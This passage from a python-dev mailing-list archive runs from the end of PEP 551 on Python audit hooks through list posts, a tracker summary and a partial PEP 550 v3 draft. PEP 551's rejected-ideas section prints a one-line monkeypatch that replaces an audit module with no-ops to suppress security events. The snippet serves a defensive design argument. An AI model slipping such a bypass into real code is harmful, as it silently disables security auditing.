side of things.) Most actions **should not** be aborted if they could ever occur during normal use or if preventing them will encourage attackers to work around them. As described earlier, awareness is a higher priority than prevention. Sysadmins **may** audit their Python code and abort operations that are known to never be used deliberately. Audit hooks **should** write events to logs before attempting to abort. As discussed earlier, it is more important to record malicious actions than to prevent them. Sysadmins **should** identify correlations between events, as a change to correlated events may indicate misuse. For example, module imports will typically trigger the ``import`` auditing event, followed by an ``open_for_exec`` call and usually a ``compile`` event. Attempts to bypass auditing will often suppress some but not all of these events. So if the log contains ``import`` events but not ``compile`` events, investigation may be necessary. The first audit hook **should** be set in C code before ``Py_Initialize`` is called, and that hook **should** unconditionally abort the ``sys.addloghook`` event. The Python interface is primarily intended for testing and development. To prevent audit hooks being added on non-production machines, an entry point **may** add an audit hook that aborts the ``sys.addloghook`` event but otherwise does nothing. On production machines, a non-validating ``open_for_exec`` hook **may** be set in C code before ``Py_Initialize`` is called. This prevents later code from overriding the hook, however, logging the ``setopenforexecutehandler`` event is useful since no code should ever need to call it. Using at least the sample ``open_for_exec`` hook implementation from ``spython`` is recommended. Since ``importlib``'s use of ``open_for_exec`` may be easily bypassed with monkeypatching, an audit hook **should** be used to detect attribute changes on type objects. [TODO: more good advice; less bad advice] Rejected Ideas ============== Separate module for audit hooks ------------------------------- The proposal is to add a new module for audit hooks, hypothetically ``audit``. This would separate the API and implementation from the ``sys`` module, and allow naming the C functions ``PyAudit_AddHook`` and ``PyAudit_Audit`` rather than the current variations. Any such module would need to be a built-in module that is guaranteed to always be present. The nature of these hooks is that they must be callable without condition, as any conditional imports or calls provide more opportunities to intercept and suppress or modify events. Given its nature as one of the most core modules, the ``sys`` module is somewhat protected against module shadowing attacks. Replacing ``sys`` with a sufficiently functional module that the application can still run is a much more complicated task than replacing a module with only one function of interest. An attacker that has the ability to shadow the ``sys`` module is already capable of running arbitrary code from files, whereas an ``audit`` module can be replaced with a single statement:: import sys; sys.modules['audit'] = type('audit', (object,), {'audit': lambda *a: None, 'addhook': lambda *a: None}) Multiple layers of protection already exist for monkey patching attacks against either ``sys`` or ``audit``, but assignments or insertions to ``sys.modules`` are not audited. This idea is rejected because it makes substituting ``audit`` calls throughout all callers near trivial. Flag in sys.flags to indicate "secure" mode ------------------------------------------- The proposal is to add a value in ``sys.flags`` to indicate when Python is running in a "secure" mode. This would allow applications to detect when some features are enabled and modify their behaviour appropriately. Currently there are no guarantees made about security by this PEP - this section is the first time the word "secure" has been used. Security **transparency** does not result in any changed behaviour, so there is no appropriate reason for applications to modify their behaviour. Both application-level APIs ``sys.audit`` and ``os.open_for_exec`` are always present and functional, regardless of whether the regular ``python`` entry point or some alternative entry point is used. Callers cannot determine whether any hooks have been added (except by performing side-channel analysis), nor do they need to. The calls should be fast enough that callers do not need to avoid them, and the sysadmin is responsible for ensuring their added hooks are fast enough to not affect application performance. The argument that this is "security by obscurity" is valid, but irrelevant. Security by obscurity is only an issue when there are no other protective mechanisms; obscurity as the first step in avoiding attack is strongly recommended (see `this article <https://danielmiessler.com/study/security-by-obscurity/>`_ for discussion). This idea is rejected because there are no appropriate reasons for an application to change its behaviour based on whether these APIs are in use. Further Reading =============== **Redefining Malware: When Old Terms Pose New Threats** By Aviv Raff for SecurityWeek, 29th January 2014 This article, and those linked by it, are high-level summaries of the rise of APTs and the differences from "traditional" malware. `<http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-thre…>`_ **Anatomy of a Cyber Attack** By FireEye, accessed 23rd August 2017 A summary of the techniques used by APTs, and links to a number of relevant whitepapers. `<https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html>`_ **Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection** By Aviv Raff for SecurityWeek, 8th May 2014 High-level summary of the value of detailed logging and automatic analysis. `<http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanc…>`_ **No Easy Breach: Challenges and Lessons Learned from an Epic Investigation** Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016 Detailed walkthrough of the processes and tools used in detecting and removing an APT. `<https://archive.org/details/No_Easy_Breach>`_ **Disrupting Nation State Hackers** Video presented by Rob Joyce for the NSA at USENIX Enigma 2016 Good security practices, capabilities and recommendations from the chief of NSA's Tailored Access Operation. `<https://www.youtube.com/watch?v=bDJb8WOJYdA>`_ References ========== .. [1] Assume Breach Mindset, `<http://asian-power.com/node/11144>`_ .. [2] PowerShell Loves the Blue Team, also known as Scripting Security and Protection Advances in Windows 10, `<https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-…>`_ .. [3] `<https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.ht…>`_ .. [4] `<https://aka.ms/deviceguard>`_ .. [5] AMSI, `<https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).…>`_ .. [6] Persistent Zone Identifiers, `<https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx>`_ .. [7] Event tracing, `<https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx>`_ .. [8] `<https://www.gnupg.org/>`_ .. [9] `<https://www.systutorials.com/docs/linux/man/3-sd_journal_send/>`_ .. [10] `<http://www.trustedbsd.org/openbsm.html>`_ .. [11] `<https://linux.die.net/man/3/syslog>`_ .. [12] `<http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/>`_ .. [13] SELinux access decisions `<http://man7.org/linux/man-pages/man3/avc_entry_ref_init.3.html>`_ Acknowledgments =============== Thanks to all the people from Microsoft involved in helping make the Python runtime safer for production use, and especially to James Powell for doing much of the initial research, analysis and implementation, Lee Holmes for invaluable insights into the info-sec field and PowerShell's responses, and Brett Cannon for the grounding discussions. Copyright ========= Copyright (c) 2017 by Microsoft Corporation. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/).

5 10

[bpo-30421]: Pull request review
by Robert Schindler Aug. 28, 2017

Aug. 28, 2017

Hello, In May, I submitted a pull request that extends the functionality of argparse.ArgumentParser. To do so, I followed the steps described in the developers guide. According to [1], I already pinged at GitHub but got no response. The next step seems to be writing to this list. I know that nobody is payed for reviewing submissions, but maybe it just got overlooked? You can find the pull request at [2]. Thanks in advance for any feedback. Best regards Robert [1] https://docs.python.org/devguide/pullrequest.html#reviewing [2] https://github.com/python/cpython/pull/1698

3 3

Pep 550 and None/masking
by Jim J. Jewett Aug. 28, 2017

Aug. 28, 2017

Does setting an ImplicitScopeVar to None set the value to None, or just remove it? If it removes it, does that effectively unmask a previously masked value? If it really sets to None, then is there a way to explicitly unmask previously masked values? Perhaps the initial constructor should require an initial value (defaulting to None) and the docs should give examples both for using a sensible default value and for using a special "unset" marker. -jJ

7 6

PEP 442 undocumented C API functions
by Pauli Virtanen Aug. 28, 2017

Aug. 28, 2017

Hi, PEP 442 says "Two new C API functions are provided to ease calling of tp_finalize, especially from custom deallocators." This includes PyObject_CallFinalizerFromDealloc. However, no documentation of these functions appears to exist (https://bugs.python. org/issue31276). As far as I understand, if you have a custom tp_dealloc, you *have* to call PyObject_CallFinalizerFromDealloc in order to get your tp_finalize called. Is this correct? However, since the necessary functions are undocumented, it's unclear if they were intended to be public Python API functions. So are they actually public functions that 3rd party extensions can call? If not, how is tp_finalize supposed to be used? I'd be happy if someone can clarify the issue. -- Pauli Virtanen

2 1

[RELEASE] Python 2.7.14 release candidate 1
by Benjamin Peterson Aug. 27, 2017

Aug. 27, 2017

I'm happy to announce the immediate availability of Python 2.7.14 release candidate 1, a testing release for the latest bugfix release in the Python 2.7 series. Downloads of source code and binaries are at https://www.python.org/downloads/release/python-2714rc1/ Please consider testing the release with your libraries and applications and reporting any bugs to https://bugs.python.org A final release is expected in 3 weeks. Regards, Benjamin 2.7 release manager (on behalf of 2.7's contributors)

1 0

Scope, not context? (was Re: PEP 550 v3 naming)
by Barry Warsaw Aug. 26, 2017

Aug. 26, 2017

Guido van Rossum wrote: > On Tue, Aug 22, 2017 at 7:12 PM, Nathaniel Smith <njs(a)pobox.com> wrote: > > I worry that that's going to lead more people astray thinking this has > something to do with contextlib, which it really doesn't (it's much more > closely related to threading.local()). This is my problem with using "Context" for this PEP. Although I can't keep up with all names being thrown around, it seems to me that in Python we already have a well-established meaning for "contexts" -- context managers, and the protocols they implement as they participate in `with` statements. We have contextlib which reinforces this. What's being proposed in PEP 550 is so far removed from this concept that I think it's just going to cause confusion (well, it does in me anyway!). To me, the functionality proposed in PEP 550 feels more like a "scope" than a "context". Unlike a lexical scope, it can't be inferred from the layout of the source code. It's more of a dynamic "execution scope" and the stacking of "local execution scopes" reinforces that for me. You use a key to find a value in the current execution scope, and it chains up until the key is found or you've reached the top of the local execution (defined as the thread start, etc.). One other suggestion: maybe we shouldn't put these new functions in sys, but instead put them in their own module? It feels analogous to the gc module; all those functions could have gone in sys since they query and effect the Python runtime system, but it makes more sense (and improves the naming) by putting them in their own module. It also segregates the functionality so that sys doesn't become a catchall that overloads you when you're reading through the sys module documentation. Cheers, -Barry

10 26

how to dump cst
by yang chen Aug. 26, 2017

Aug. 26, 2017

Hello, everyone. I'm learning python source code, I used to print info when I debug code, but it's not convenient. I want to print CST, AST, ByteCode with iPython, wirte some code, then print it's CST、AST、 BYTECODE, and then to read the source code. But, I can't dump the CST tree which will transform to AST, I know I can print CST tree by modifying python source code, but how to dump the CST tree in iPython just like dumping AST with ast package. 1. get AST with ast package2. get ByteCode with dis package 3. but how get cst??

2 1

PEP 550 and other python implementations
by Jim J. Jewett Aug. 26, 2017

Aug. 26, 2017

Should PEP 550 discuss other implementations? E.g., the object space used in pypy? -jJ

2 1

PEP 550 leak-in vs leak-out, why not just a ChainMap
by Jim J. Jewett Aug. 26, 2017

Aug. 26, 2017

In https://mail.python.org/pipermail/python-dev/2017-August/148869.html Nick Coghlan wrote: > * what we want to capture at generator creation time is > the context where writes will happen, and we also > want that to be the innermost context used for lookups So when creating a generator, we want a new (empty) ImplicitContext map to be the head of the ChainMap. Each generator should have one of its own, just as each generator has its own frame. And the ChainMap delegation goes up the call stack, just as an exception would. Eventually, it hits the event loop (or other Executor) which is responsible for ensuring that the ChainMap eventually defers to the proper (Chain)Map for this thread or Task. > While the context is defined conceptually as a nested chain of > key:value mappings, we avoid using the mapping syntax because of the > way the values can shift dynamically out from under you based on who > called you ... > instead of having the problem of changes inside the > generator leaking out, we instead had the problem of > changes outside the generator *not* making their way in I still don't see how this is different from a ChainMap. If you are using a stack(chain) of [d_global, d_thread, d_A, d_B, d_C, d_mine] maps as your implicit context, then a change to d_thread map (that some other code could make) will be visible unless it is masked. Similarly, if the fallback for d_C changes from d_B to d_B1 (which points directly to d_thread), that will be visible for any keys that were previously resolved in d_A or d_B, or are now resolved in dB1. Those seem like exactly the cases that would (and should) cause "shifting values". This does mean that you can't cache everything in the localmost map, but that is a problem with the optimization regardless of how the implementation is done. In https://mail.python.org/pipermail/python-dev/2017-August/148873.html Yury Selivanov wrote: > Any code that uses EC will not see any difference [between mutable vs immutable but replaced LC maps], > because it can only work with the top LC. > Back to generators. Generators have their own empty LCs when created > to store their *local* EC modifications. OK, so just as they have their own frame, they have their own ChainMap, and the event loop is responsible for resetting the fallback when it schedules them. > When a generator is *being* iterated, it pushes its LC to the EC. When > the iteration step is finished, it pops its LC from the EC. I'm not sure it helps to think of a single stack. When the generator is active, it starts with its own map. When it is in the call chain of the active generator, its map will be in the chain of delegations. When neither it nor a descendant are active, no code will end up delegating to it. If the delegation graph has 543 generators delegating directly to the thread-wide map, there is no reason to pop/push an execution stack every time a different generator is scheduled, since only that generator itself (and code it calls) will even care. > HAMT is a way to efficiently implement immutable mappings ... > using regular dicts and copy, set() would be O(log N) Using a ChainMap, set affects only the localmost map and is therefore O(1). get could require stacksize lookups, but ... (A) How many values do you expect a typical generator to use? The django survey suggested mostly 0, sometimes 1, occasionally 2. So caching the values of all possible keys probably won't pay off. (B) Other than the truly global context and thread-level context, how many of these maps do you expect to be non-empty? (C) How deep do you expect the stack to get? Are we talking about 100 layers of mappings to check between the current generator and the thread-wide defaults? Even if we are, verifying that there hasn't been a change in some mid-level layer requires tracking the versions of each mid-level layer. (If version is globally unique, that would also ensure that the stack hasn't changed.) Is that really faster than checking that the map is empty? And, of course, using a ChainMap means that the keys do NOT have to be predefined ... so the Key class really can be skipped. -jJ

3 5

bpo-30987 review
by Pier-Yves Lessard Aug. 26, 2017

Aug. 26, 2017

Hello there! I've created a pull request <https://github.com/python/cpython/pull/2956> almost a month ago that seems to have very little attention and I was wondering what could be done (if any). The suggested approach on the "Lifecycle of a pull request" page is said to wait for a month then remind the nosy list. Unfortunately, I am the only one on the nosy list, so I skipped to this email directly. I saw some pull request more recent than mine getting a look at, so I thought maybe something was wrong with mine. In any case, let me know if I can do anything to help on that. The feature I added will unlock a quite nice features for the automotive industry. Thank you, Keep up the awesome work! -- *Pier-Yves Lessard* *438-862-5914*

1 0

Summary of Python tracker Issues
by Python tracker Aug. 25, 2017

Aug. 25, 2017

ACTIVITY SUMMARY (2017-08-18 - 2017-08-25) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue. Do NOT respond to this message. Issues counts and deltas: open 6149 (+16) closed 36880 (+28) total 43029 (+44) Open issues with patches: 2342 Issues opened (28) ================== #30871: Add test.pythoninfo http://bugs.python.org/issue30871 reopened by haypo #31233: socketserver.ThreadingMixIn leaks running threads after server http://bugs.python.org/issue31233 opened by haypo #31234: Make support.threading_cleanup() stricter http://bugs.python.org/issue31234 opened by haypo #31237: test_gdb disables 25% of tests in optimized builds http://bugs.python.org/issue31237 opened by lukasz.langa #31241: ast col_offset wrong for list comprehensions, generators and t http://bugs.python.org/issue31241 opened by samuelcolvin #31242: Add SSLContext.set_verify_callback() http://bugs.python.org/issue31242 opened by rfinnie #31243: checks whether PyArg_ParseTuple returned a negative int http://bugs.python.org/issue31243 opened by Oren Milman #31244: IDLE: work around shortcuts bug in Windows' IMEs and tk http://bugs.python.org/issue31244 opened by Constantine Ketskalo #31245: Asyncio UNIX socket and SOCK_DGRAM http://bugs.python.org/issue31245 opened by qdawans #31246: [2.7] test_signal.test_setitimer_tiny() fails randomly on x86- http://bugs.python.org/issue31246 opened by haypo #31248: method wrapper type has invalid __name__/__qualname__ 'method- http://bugs.python.org/issue31248 opened by bup #31249: test_concurrent_futures leaks dangling threads http://bugs.python.org/issue31249 opened by haypo #31250: test_asyncio leaks dangling threads http://bugs.python.org/issue31250 opened by haypo #31252: Operator.itemgetter documentation should include dictionary ke http://bugs.python.org/issue31252 opened by ashishnitinpatil #31254: WeakKeyDictionary/Mapping doesn't call __missing__ http://bugs.python.org/issue31254 opened by Antony.Lee #31256: xml.etree.ElementTree: add support for doctype in tostring met http://bugs.python.org/issue31256 opened by bastik #31258: [2.7] Enhance support reap_children() and threading_cleanup() http://bugs.python.org/issue31258 opened by haypo #31259: [3.6] Enhance support reap_children() and threading_cleanup() http://bugs.python.org/issue31259 opened by haypo #31260: [2.7] Enhance PC/VS9.0/ project to produce python.bat, as PCbu http://bugs.python.org/issue31260 opened by haypo #31265: Remove doubly-linked list from C OrderedDict http://bugs.python.org/issue31265 opened by inada.naoki #31267: threading.Timer object is affected by changes to system time http://bugs.python.org/issue31267 opened by winfreak #31270: Simplify documentation of itertools.zip_longest http://bugs.python.org/issue31270 opened by rami #31271: an assertion failure in io.TextIOWrapper.write http://bugs.python.org/issue31271 opened by Oren Milman #31272: typing module conflicts with __slots__-classes http://bugs.python.org/issue31272 opened by grayfall #31273: Unicode support in TestCase.skip http://bugs.python.org/issue31273 opened by Nathan Buckner #31274: Support building against homebrew on macOS http://bugs.python.org/issue31274 opened by barry #31275: Check fall-through in _codecs_iso2022.c http://bugs.python.org/issue31275 opened by skrah #31276: PyObject_CallFinalizerFromDealloc is undocumented http://bugs.python.org/issue31276 opened by pv Most recent 15 issues with no replies (15) ========================================== #31276: PyObject_CallFinalizerFromDealloc is undocumented http://bugs.python.org/issue31276 #31273: Unicode support in TestCase.skip http://bugs.python.org/issue31273 #31272: typing module conflicts with __slots__-classes http://bugs.python.org/issue31272 #31267: threading.Timer object is affected by changes to system time http://bugs.python.org/issue31267 #31260: [2.7] Enhance PC/VS9.0/ project to produce python.bat, as PCbu http://bugs.python.org/issue31260 #31256: xml.etree.ElementTree: add support for doctype in tostring met http://bugs.python.org/issue31256 #31250: test_asyncio leaks dangling threads http://bugs.python.org/issue31250 #31248: method wrapper type has invalid __name__/__qualname__ 'method- http://bugs.python.org/issue31248 #31245: Asyncio UNIX socket and SOCK_DGRAM http://bugs.python.org/issue31245 #31242: Add SSLContext.set_verify_callback() http://bugs.python.org/issue31242 #31241: ast col_offset wrong for list comprehensions, generators and t http://bugs.python.org/issue31241 #31224: Missing definition of frozen module http://bugs.python.org/issue31224 #31207: IDLE, configdialog: Factor out ExtPage class from ConfigDialog http://bugs.python.org/issue31207 #31202: Windows pathlib.Path.glob(pattern) fixed part of the pattern c http://bugs.python.org/issue31202 #31196: Blank line inconsistency between InteractiveConsole and standa http://bugs.python.org/issue31196 Most recent 15 issues waiting for review (15) ============================================= #31270: Simplify documentation of itertools.zip_longest http://bugs.python.org/issue31270 #31185: Miscellaneous errors in asyncio speedup module http://bugs.python.org/issue31185 #31184: Fix data descriptor detection in inspect.getattr_static http://bugs.python.org/issue31184 #31179: Speed-up dict.copy() up to 5.5 times. http://bugs.python.org/issue31179 #31178: [EASY] subprocess: TypeError: can't concat str to bytes, in _e http://bugs.python.org/issue31178 #31175: Exception while extracting file from ZIP with non-matching fil http://bugs.python.org/issue31175 #31151: socketserver.ForkingMixIn.server_close() leaks zombie processe http://bugs.python.org/issue31151 #31120: [2.7] Python 64 bit _ssl compile fails due missing buildinf_am http://bugs.python.org/issue31120 #31113: Stack overflow with large program http://bugs.python.org/issue31113 #31108: add __contains__ for list_iterator (and others) for better per http://bugs.python.org/issue31108 #31106: os.posix_fallocate() generate exception with errno 0 http://bugs.python.org/issue31106 #31046: ensurepip does not honour the value of $(prefix) http://bugs.python.org/issue31046 #31021: Clarify programming faq. http://bugs.python.org/issue31021 #31020: Add support for custom compressor in tarfile http://bugs.python.org/issue31020 #31015: PyErr_WriteUnraisable should be more verbose in Python 2.7 http://bugs.python.org/issue31015 Top 10 most discussed issues (10) ================================= #31234: Make support.threading_cleanup() stricter http://bugs.python.org/issue31234 13 msgs #31095: Checking all tp_dealloc with Py_TPFLAGS_HAVE_GC http://bugs.python.org/issue31095 11 msgs #31244: IDLE: work around shortcuts bug in Windows' IMEs and tk http://bugs.python.org/issue31244 11 msgs #31254: WeakKeyDictionary/Mapping doesn't call __missing__ http://bugs.python.org/issue31254 11 msgs #14976: queue.Queue() is not reentrant, so signals and GC can cause de http://bugs.python.org/issue14976 8 msgs #31265: Remove doubly-linked list from C OrderedDict http://bugs.python.org/issue31265 8 msgs #27099: IDLE: turn builting extensions into regular modules http://bugs.python.org/issue27099 7 msgs #30871: Add test.pythoninfo http://bugs.python.org/issue30871 7 msgs #31271: an assertion failure in io.TextIOWrapper.write http://bugs.python.org/issue31271 6 msgs #28261: wrong error messages when using PyArg_ParseTuple to parse norm http://bugs.python.org/issue28261 5 msgs Issues closed (27) ================== #28777: Add asyncio.Queue __aiter__, __anext__ methods http://bugs.python.org/issue28777 closed by gvanrossum #30923: Add -Wimplicit-fallthrough=0 to Makefile ? http://bugs.python.org/issue30923 closed by skrah #31024: typing.Tuple is class but is defined as data inside https://do http://bugs.python.org/issue31024 closed by levkivskyi #31109: zipimport argument clinic conversion http://bugs.python.org/issue31109 closed by brett.cannon #31118: Make super() work with staticmethod by using __class__ for bot http://bugs.python.org/issue31118 closed by ncoghlan #31161: Only check for print and exec parentheses cases for SyntaxErro http://bugs.python.org/issue31161 closed by lukasz.langa #31183: `Dis` module doesn't know how to disassemble async generator o http://bugs.python.org/issue31183 closed by ncoghlan #31206: IDLE, configdialog: Factor out HighPage class from ConfigDialo http://bugs.python.org/issue31206 closed by terry.reedy #31229: wrong error messages when too many kwargs are received http://bugs.python.org/issue31229 closed by serhiy.storchaka #31232: Backport the new custom "print >> sys.stderr" error message? http://bugs.python.org/issue31232 closed by ncoghlan #31235: test_logging: ResourceWarning: unclosed <socket.socket ...> http://bugs.python.org/issue31235 closed by haypo #31236: improve some error messages of min() and max() http://bugs.python.org/issue31236 closed by serhiy.storchaka #31238: pydoc: ServerThread.stop() leaves a dangling thread http://bugs.python.org/issue31238 closed by haypo #31239: namedtuple comparison ignores types http://bugs.python.org/issue31239 closed by r.david.murray #31240: Add lazy evaluation support for dict.setdefault() http://bugs.python.org/issue31240 closed by serhiy.storchaka #31247: test_xmlrpc leaks dangling threads http://bugs.python.org/issue31247 closed by haypo #31251: Diameter protocol in Python http://bugs.python.org/issue31251 closed by serhiy.storchaka #31253: Python fails to parse triple quoted (commented out) code http://bugs.python.org/issue31253 closed by quamrana #31255: Test getrandom before using it http://bugs.python.org/issue31255 closed by heroxbd #31257: importlib race condition http://bugs.python.org/issue31257 closed by haypo #31261: unittest fails to properly destruct objects created during set http://bugs.python.org/issue31261 closed by r.david.murray #31262: Documentation Error http://bugs.python.org/issue31262 closed by r.david.murray #31263: Assigning to subscript/slice of literal is permitted http://bugs.python.org/issue31263 closed by r.david.murray #31264: Import Package/Module through HTTP/S repository http://bugs.python.org/issue31264 closed by r.david.murray #31266: attribute error http://bugs.python.org/issue31266 closed by nixster #31268: Inconsistent socket timeout exception http://bugs.python.org/issue31268 closed by desbma #31269: bug in islink() and is_symlink() http://bugs.python.org/issue31269 closed by r.david.murray

1 0

PEP 550 v3 naming
by Jim J. Jewett Aug. 25, 2017

Aug. 25, 2017

Building on Brett's suggestion: FrameContext: used in/writable by one frame ContextStack: a FrameContext and its various fallbacks -jJ

11 31

python issue27584 AF_VSOCK support
by Cathy Avery Aug. 24, 2017

Aug. 24, 2017

Hi, I have a python pull request https://github.com/python/cpython/pull/2489 that introduces AF_VSOCK to the python C socket module. Unfortunately things have gone quiet for several weeks. Since I am new to this process I am unclear on what to expect as the next steps. I believe I have addressed all issues. If I am mistaken please let me know. A real functioning test setup is a bit painful and I would be happy to help in anyway I can. The Microsoft Hyper V team is now introducing support of vsock in the upstream linux kernel so its adoption is spreading amongst the various hypervisors. Any guidance on the basic timelines would be very helpful. Thanks, Cathy

3 3

limited_api and datetime
by stackless Aug. 23, 2017

Aug. 23, 2017

Hi again, I am trying to support the limited Api (PEP 384) for PySide. Fortunately, everything worked out of the box, just the datetime module gives me a problem. Inspection showed that datetime is completely removed when the limitation is set. Can somebody enlighten me why that needs to be so? And how should I use datetime, instead: Fish the functions out of the dynamically imported datetime module? Thanks in advance - Chris Sent from my Ei4Steve

3 2

PEP 550 v3
by Yury Selivanov Aug. 22, 2017

Aug. 22, 2017

Hi, This is a third iteration of the PEP. There was some really good feedback on python-ideas and the discussion thread became hard to follow again, so I decided to update the PEP only three days after I published the previous version. Summary of the changes can be found in the "Version History" section: https://www.python.org/dev/peps/pep-0550/#version-history There are a few open questions left, namely the terminology and design of ContextKey API. On the former topic, I'm quite happy with the latest version: Execution Context, Logical Context, and Context Key. Thank you, Yury PEP: 550 Title: Execution Context Version: $Revision$ Last-Modified: $Date$ Author: Yury Selivanov <yury(a)magic.io> Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 11-Aug-2017 Python-Version: 3.7 Post-History: 11-Aug-2017, 15-Aug-2017, 18-Aug-2017 Abstract ======== This PEP proposes a new mechanism to manage execution state--the logical environment in which a function, a thread, a generator, or a coroutine executes in. A few examples of where having a reliable state storage is required: * Context managers like decimal contexts, ``numpy.errstate``, and ``warnings.catch_warnings``; * Storing request-related data such as security tokens and request data in web applications, implementing i18n; * Profiling, tracing, and logging in complex and large code bases. The usual solution for storing state is to use a Thread-local Storage (TLS), implemented in the standard library as ``threading.local()``. Unfortunately, TLS does not work for the purpose of state isolation for generators or asynchronous code, because such code executes concurrently in a single thread. Rationale ========= Traditionally, a Thread-local Storage (TLS) is used for storing the state. However, the major flaw of using the TLS is that it works only for multi-threaded code. It is not possible to reliably contain the state within a generator or a coroutine. For example, consider the following generator:: def calculate(precision, ...): with decimal.localcontext() as ctx: # Set the precision for decimal calculations # inside this block ctx.prec = precision yield calculate_something() yield calculate_something_else() Decimal context is using a TLS to store the state, and because TLS is not aware of generators, the state can leak. If a user iterates over the ``calculate()`` generator with different precisions one by one using a ``zip()`` built-in, the above code will not work correctly. For example:: g1 = calculate(precision=100) g2 = calculate(precision=50) items = list(zip(g1, g2)) # items[0] will be a tuple of: # first value from g1 calculated with 100 precision, # first value from g2 calculated with 50 precision. # # items[1] will be a tuple of: # second value from g1 calculated with 50 precision (!!!), # second value from g2 calculated with 50 precision. An even scarier example would be using decimals to represent money in an async/await application: decimal calculations can suddenly lose precision in the middle of processing a request. Currently, bugs like this are extremely hard to find and fix. Another common need for web applications is to have access to the current request object, or security context, or, simply, the request URL for logging or submitting performance tracing data:: async def handle_http_request(request): context.current_http_request = request await ... # Invoke your framework code, render templates, # make DB queries, etc, and use the global # 'current_http_request' in that code. # This isn't currently possible to do reliably # in asyncio out of the box. These examples are just a few out of many, where a reliable way to store context data is absolutely needed. The inability to use TLS for asynchronous code has lead to proliferation of ad-hoc solutions, which are limited in scope and do not support all required use cases. Current status quo is that any library, including the standard library, that uses a TLS, will likely not work as expected in asynchronous code or with generators (see [3]_ as an example issue.) Some languages that have coroutines or generators recommend to manually pass a ``context`` object to every function, see [1]_ describing the pattern for Go. This approach, however, has limited use for Python, where we have a huge ecosystem that was built to work with a TLS-like context. Moreover, passing the context explicitly does not work at all for libraries like ``decimal`` or ``numpy``, which use operator overloading. .NET runtime, which has support for async/await, has a generic solution of this problem, called ``ExecutionContext`` (see [2]_). On the surface, working with it is very similar to working with a TLS, but the former explicitly supports asynchronous code. Goals ===== The goal of this PEP is to provide a more reliable alternative to ``threading.local()``. It should be explicitly designed to work with Python execution model, equally supporting threads, generators, and coroutines. An acceptable solution for Python should meet the following requirements: * Transparent support for code executing in threads, coroutines, and generators with an easy to use API. * Negligible impact on the performance of the existing code or the code that will be using the new mechanism. * Fast C API for packages like ``decimal`` and ``numpy``. Explicit is still better than implicit, hence the new APIs should only be used when there is no acceptable way of passing the state explicitly. Specification ============= Execution Context is a mechanism of storing and accessing data specific to a logical thread of execution. We consider OS threads, generators, and chains of coroutines (such as ``asyncio.Task``) to be variants of a logical thread. In this specification, we will use the following terminology: * **Logical Context**, or LC, is a key/value mapping that stores the context of a logical thread. * **Execution Context**, or EC, is an OS-thread-specific dynamic stack of Logical Contexts. * **Context Key**, or CK, is an object used to set and get values from the Execution Context. Please note that throughout the specification we use simple pseudo-code to illustrate how the EC machinery works. The actual algorithms and data structures that we will use to implement the PEP are discussed in the `Implementation Strategy`_ section. Context Key Object ------------------ The ``sys.new_context_key(name)`` function creates a new ``ContextKey`` object. The ``name`` parameter is a ``str`` needed to render a representation of ``ContextKey`` object for introspection and debugging purposes. ``ContextKey`` objects have the following methods and attributes: * ``.name``: read-only name; * ``.set(o)`` method: set the value to ``o`` for the context key in the execution context. * ``.get()`` method: return the current EC value for the context key. Context keys return ``None`` when the key is missing, so the method never fails. The below is an example of how context keys can be used:: my_context = sys.new_context_key('my_context') my_context.set('spam') # Later, to access the value of my_context: print(my_context.get()) Thread State and Multi-threaded code ------------------------------------ Execution Context is implemented on top of Thread-local Storage. For every thread there is a separate stack of Logical Contexts -- mappings of ``ContextKey`` objects to their values in the LC. New threads always start with an empty EC. For CPython:: PyThreadState: execution_context: ExecutionContext([ LogicalContext({ci1: val1, ci2: val2, ...}), ... ]) The ``ContextKey.get()`` and ``.set()`` methods are defined as follows (in pseudo-code):: class ContextKey: def get(self): tstate = PyThreadState_Get() for logical_context in reversed(tstate.execution_context): if self in logical_context: return logical_context[self] return None def set(self, value): tstate = PyThreadState_Get() if not tstate.execution_context: tstate.execution_context = [LogicalContext()] tstate.execution_context[-1][self] = value With the semantics defined so far, the Execution Context can already be used as an alternative to ``threading.local()``:: def print_foo(): print(ci.get() or 'nothing') ci = sys.new_context_key('ci') ci.set('foo') # Will print "foo": print_foo() # Will print "nothing": threading.Thread(target=print_foo).start() Manual Context Management ------------------------- Execution Context is generally managed by the Python interpreter, but sometimes it is desirable for the user to take the control over it. A few examples when this is needed: * running a computation in ``concurrent.futures.ThreadPoolExecutor`` with the current EC; * reimplementing generators with iterators (more on that later); * managing contexts in asynchronous frameworks (implement proper EC support in ``asyncio.Task`` and ``asyncio.loop.call_soon``.) For these purposes we add a set of new APIs (they will be used in later sections of this specification): * ``sys.new_logical_context()``: create an empty ``LogicalContext`` object. * ``sys.new_execution_context()``: create an empty ``ExecutionContext`` object. * Both ``LogicalContext`` and ``ExecutionContext`` objects are opaque to Python code, and there are no APIs to modify them. * ``sys.get_execution_context()`` function. The function returns a copy of the current EC: an ``ExecutionContext`` instance. The runtime complexity of the actual implementation of this function can be O(1), but for the purposes of this section it is equivalent to:: def get_execution_context(): tstate = PyThreadState_Get() return copy(tstate.execution_context) * ``sys.run_with_execution_context(ec: ExecutionContext, func, *args, **kwargs)`` runs ``func(*args, **kwargs)`` in the provided execution context:: def run_with_execution_context(ec, func, *args, **kwargs): tstate = PyThreadState_Get() old_ec = tstate.execution_context tstate.execution_context = ExecutionContext( ec.logical_contexts + [LogicalContext()] ) try: return func(*args, **kwargs) finally: tstate.execution_context = old_ec Any changes to Logical Context by ``func`` will be ignored. This allows to reuse one ``ExecutionContext`` object for multiple invocations of different functions, without them being able to affect each other's environment:: ci = sys.new_context_key('ci') ci.set('spam') def func(): print(ci.get()) ci.set('ham') ec = sys.get_execution_context() sys.run_with_execution_context(ec, func) sys.run_with_execution_context(ec, func) # Will print: # spam # spam * ``sys.run_with_logical_context(lc: LogicalContext, 